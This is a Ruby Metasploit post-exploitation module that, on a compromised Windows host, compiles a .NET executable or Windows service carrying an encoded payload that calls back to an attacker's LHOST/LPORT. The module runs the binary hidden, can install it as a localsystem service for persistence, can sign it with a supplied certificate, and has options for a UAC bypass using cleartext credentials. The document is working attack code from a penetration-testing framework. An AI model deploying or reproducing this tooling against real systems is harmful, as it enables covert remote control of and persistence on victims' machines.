##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/services'
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Services
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Powershell::DotNet
  include Msf::Post::File

  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Powershell Payload Execution",
      'Description'          => %q{
        This module generates a dynamic executable on the session host using .NET templates.
        Code is pulled from C# templates and impregnated with a payload before being
        sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
        the executable (standard or Windows service) in memory and produces a binary
        which can be started/installed and downloaded for later use. After compilation the
        PoweShell session can also sign the executable if provided a path the a .pfx formatted
        certificate.
      },
      'License'              => MSF_LICENSE,
      'Author'               => [
        'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
        'Matt "hostess" Andreko' # .NET harness, and requested modifications
      ],

      'Payload'        =>
        {
          'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
        {
          'BufferRegister' => 'EAX',
        },
      },
      'Platform'      => [ 'windows' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets' => [ [ 'Universal', {} ] ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Aug 14 2012'

    ))

    register_options(
      [
        OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
        OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
        OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
        OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
        OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),

      ])

    register_advanced_options(
      [
        OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
        OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
        OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
        OptString.new('USERNAME', [false, 'Windows username']),
        OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
        OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),

      ])

  end

  def exploit

    # Make sure we meet the requirements before running the script
    if !(session.type == "meterpreter" || have_powershell?)
      print_error("Incompatible Environment")
      return
    end
    # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
    if client.sys.config.is_system?
      print_error("Cannot run as system")
      return
    end

    # End of file marker
    eof = Rex::Text.rand_text_alpha(8)
    env_suffix = Rex::Text.rand_text_alpha(8)

    com_opts = {}
    com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
    com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
    com_opts[:payload] = payload_script #payload.encoded
    vprint_good com_opts[:payload].length.to_s

    if datastore['SVC_GEN']
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
      com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
    else
      com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
    end

    com_opts[:cert] = datastore['CERT_PATH']

    if datastore['SVC_REMOVE']
      remove_dyn_service(com_opts[:target])
      return
    end
    vprint_good("Writing to #{com_opts[:target]}")

    com_script = dot_net_compiler(com_opts)
    ps_out = psh_exec(com_script)

    if datastore['Powershell::Post::dry_run']
      print_good com_script
      print_error ps_out
      return
    end
    # Check for result
    begin
      size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
      vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
    rescue
      print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
      return
    end

    # Run the harness
    if datastore['START_APP']
      if datastore['SVC_GEN']
        service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
        if service_start(datastore['SVC_NAME']).to_i == 0
          vprint_good("Service Started")
        end
      else
        session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
      end
    end


    print_good('Finished!')
  end


  # This should be handled by the exploit mixin, right?
  def payload_script
    pay_mod = framework.payloads.create(datastore['PAYLOAD'])
    payload = pay_mod.generate_simple(
      "BadChars"    => '',
      "Format"      => 'raw',
      "Encoder"     => 'x86/alpha_mixed',
      "ForceEncode" => true,
      "Options" =>
       {
        'LHOST' => datastore['LHOST'],
        'LPORT' => datastore['LPORT'],
        'EXITFUNC' => 'thread',
        'BufferRegister' => 'EAX'
      },
    )

    # To ensure compatibility out payload should be US-ASCII
    return payload.encode('ASCII')
  end

  # Local service functionality should probably be replaced with upstream Post
  def remove_dyn_service(file_path)
    service_stop(datastore['SVC_NAME'])
    if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
      vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
      session.fs.file.rm(file_path.gsub('\\','\\\\'))
    else
      print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
    end
    return
  end

  def install_dyn_service(file_path)

    service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
    if service_start(datastore['SVC_NAME']).to_i == 0
      vprint_good("Service Binary #{file_path} Started")
    end
  end
end
